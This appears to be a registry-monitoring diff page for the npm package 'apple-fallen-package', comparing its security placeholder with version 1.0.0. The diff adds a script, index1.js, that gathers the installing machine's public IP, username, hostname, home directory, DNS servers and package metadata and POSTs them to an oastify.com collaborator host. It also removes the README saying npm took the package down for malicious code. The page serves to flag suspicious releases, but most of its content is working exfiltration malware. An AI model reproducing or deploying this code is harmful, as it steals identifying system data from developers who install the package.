apple-fallen-package 0.0.1-security → 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of apple-fallen-package might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index1.js +74 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index1.js ADDED
@@ -0,0 +1,74 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ function requestPromise(endpoint) {
9
+ var body = ''
10
+
11
+ return new Promise(function(resolve, reject){
12
+ https.get((endpoint), res => {
13
+ res.setEncoding('utf8');
14
+ res.on("data", data => {
15
+ body += data;
16
+ });
17
+ res.on("end", () => {
18
+ resolve(body)
19
+ });
20
+ res.on("error", (e) => {
21
+ reject(e);
22
+ });
23
+ });
24
+ });
25
+
26
+ }
27
+
28
+ async function main() {
29
+
30
+ const url = 'https://ifconfig.me'
31
+ const ip = await requestPromise(url)
32
+
33
+ const trackingData = JSON.stringify({
34
+ p: package,
35
+ c: __dirname,
36
+ hd: os.homedir(),
37
+ hn: os.hostname(),
38
+ un: os.userInfo().username,
39
+ dns: dns.getServers(),
40
+ r: packageJSON ? packageJSON.___resolved : undefined,
41
+ v: packageJSON.version,
42
+ pjson: packageJSON,
43
+ ip: ip,
44
+ });
45
+
46
+
47
+ var postData = querystring.stringify({
48
+ msg: trackingData,
49
+ });
50
+
51
+ var options = {
52
+ hostname: "s700858kg06yxjzrrarzo8b0vr1hp6.oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
53
+ port: 443,
54
+ path: "/",
55
+ method: "POST",
56
+ headers: {
57
+ "Content-Type": "application/x-www-form-urlencoded",
58
+ "Content-Length": postData.length,
59
+ },
60
+ };
61
+
62
+ var req = https.request(options, (res) => {
63
+ res.on("data", (d) => {
64
+ process.stdout.write(d);
65
+ });
66
+ });
67
+
68
+ req.on("error", (e) => {
69
+ // console.error(e);
70
+ });
71
+
72
+ req.write(postData);
73
+ req.end();
74
+ } main()
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "apple-fallen-package",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=apple-fallen-package for more information.